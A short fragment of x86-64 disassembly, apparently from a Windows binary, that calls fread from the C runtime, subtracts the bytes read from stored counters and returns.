mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x58
ret